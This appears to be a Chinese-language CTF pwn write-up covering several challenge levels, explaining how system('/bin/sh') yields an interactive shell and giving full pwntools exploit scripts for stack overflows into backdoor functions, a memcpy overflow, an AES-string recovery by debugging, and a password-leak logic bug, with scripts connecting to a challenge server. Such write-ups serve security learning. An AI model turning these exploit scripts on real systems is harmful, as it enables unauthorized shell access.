这个直接nc上去再cat f*就行了,这里我也简单讲讲我的对拿shell的看法吧,system这个函数里面的参数就跟我们自己在终端输命令是一样的,比如一直在用的system("/bin/sh"),跟我们在自己终端输个/bin/sh是一样的。为什么这样能让我们觉得好像控制了一个终端呢,其实也是跟linux的思想(一切皆文件)相关。我们的键盘鼠标就是stdin(0)这个文件描述符,当我们remote(或者nc)上去的时候,就会把我们自己这里的键盘鼠标绑定在对面程序的stdin这个输入流上,类似的屏幕就会绑定在stdout,stderr上。这样就可以对程序进行交互了。
当我们调用system("/bin/sh")时,调试过就知道他会创建一个子进程,此时因为子进程与父进程的文件描述符默认是一样的,所以系统就会用我们自己的键盘鼠标绑定的文件描述符去运行这个子进程。就这样理解吧,我们还是在那个程序中,但此时本应该是对面鼠标/键盘输入的输入流变成了我们自己鼠标/键盘的输入流,本应该是对面屏幕的输出流变成了我们自己屏幕的输出流。相当于直接控制了对面的鼠标/键盘和屏幕。所以也就看起来跟自己控制了对面的一个终端一样了。
不过windows就不一样了,它并不认为一切都是文件,所以拿windows的shell不是system("cmd.exe")就可以了,需要反弹shell的才行。
pwner_LEVEL2
这个就挺直白的了,有栈溢出有后门函数,注意一下栈对齐即可。关于栈溢出和栈对齐可以看看我写的文章函数调用栈与Ret2all - firefly_star - 博客园,我讲的比较简单有点,ziran申的文章讲的比较深入也推荐看看。exp如下:
#!/usr/bin/env python3 from pwn import * import sys from ctypes import * #from pwncli import * import socks # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc = ELF('./libc.so.6') flag = 1 if flag: p = remote('123.56.126.77',1007) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() back=0x401156 ret=0x40116F pay=0x48*b'b'+flat(ret,back) sd(pay) ti()pwner_LEVEL3
前面两个strcmp直接输一样的就可以登进去vuln了
这里read是没有栈溢出的,但这有个memcpy就有栈溢出了,但这里会把free的指针覆盖了,所以需要把这个指针还原回去。不然free会报错,后面还是正常返回后门函数即可,exp如下:
#!/usr/bin/env python3 from pwn import * import sys from ctypes import * #from pwncli import * import socks # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') flag = 0 if flag: p = remote('123.56.126.77',1002) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() sd(b"admin") back=0x401236 ret=0x4013F7 sd(b"123456") ru(b"addr: ") addr=rcl().strip() addr=i6(addr) print(addr) pay=0x48*b'b'+p64(addr)*2+p64(ret)+p64(back) sd(pay) ti()pwner_LEVEL4
这题如果想手搓的话正常来说要懂aes加密,还是太吃理解了。但实际上并不吃操作,也不吃理解。因为这题是要让我们预测加密结果,而不是解密他加密的字符串。而且他里面的数据都是硬编码的,没有随机数这些,所以我们动态调试一下拿到目标字符串再输入就可以了。这里顺便讲下怎么动调吧,首先肯定是赋予可执行权限(chmod +x pwn)然后就是gdb pwn因为开了pie我们先要让程序跑起来,所以输start,然后下断点,去strcmp那里按tab再按空格就可以找到偏移了
然后b*$rebase(0x1B25)然后直接c,再随便输入个数据就可以了。效果如下
看左边的rdi寄存器,里面的就是我们应该输入的字符串了。exp就输入这个字符串就可以了。exp如下:
#!/usr/bin/env python3 from pwn import * import sys from ctypes import * from pwncli import * import socks # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') flag = 1 if flag: p = remote('123.56.126.77',1001) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() sl(b'69c4e0d86a7b0430d8cdb78070b4c55a') ti()当然aes在逆向里确实是很重要的,我会放在逆向里讲讲。
pwner_LEVEL5
这题其实特别简单,前面的什么game根本不用看,输入2就可以触发登入,输入admin再随便数个密码就系统自己就会把密码打印出来,而且还不会退出程序!此时密码也不会刷新,我们再登入一下输他泄露的密码就getshell了。可以不用写exp,先输入2,然后输入admin,然后随便输个密码,等他打印出正确密码再登一次:输入admin,然后随便输个正确的密码就可以cat f*了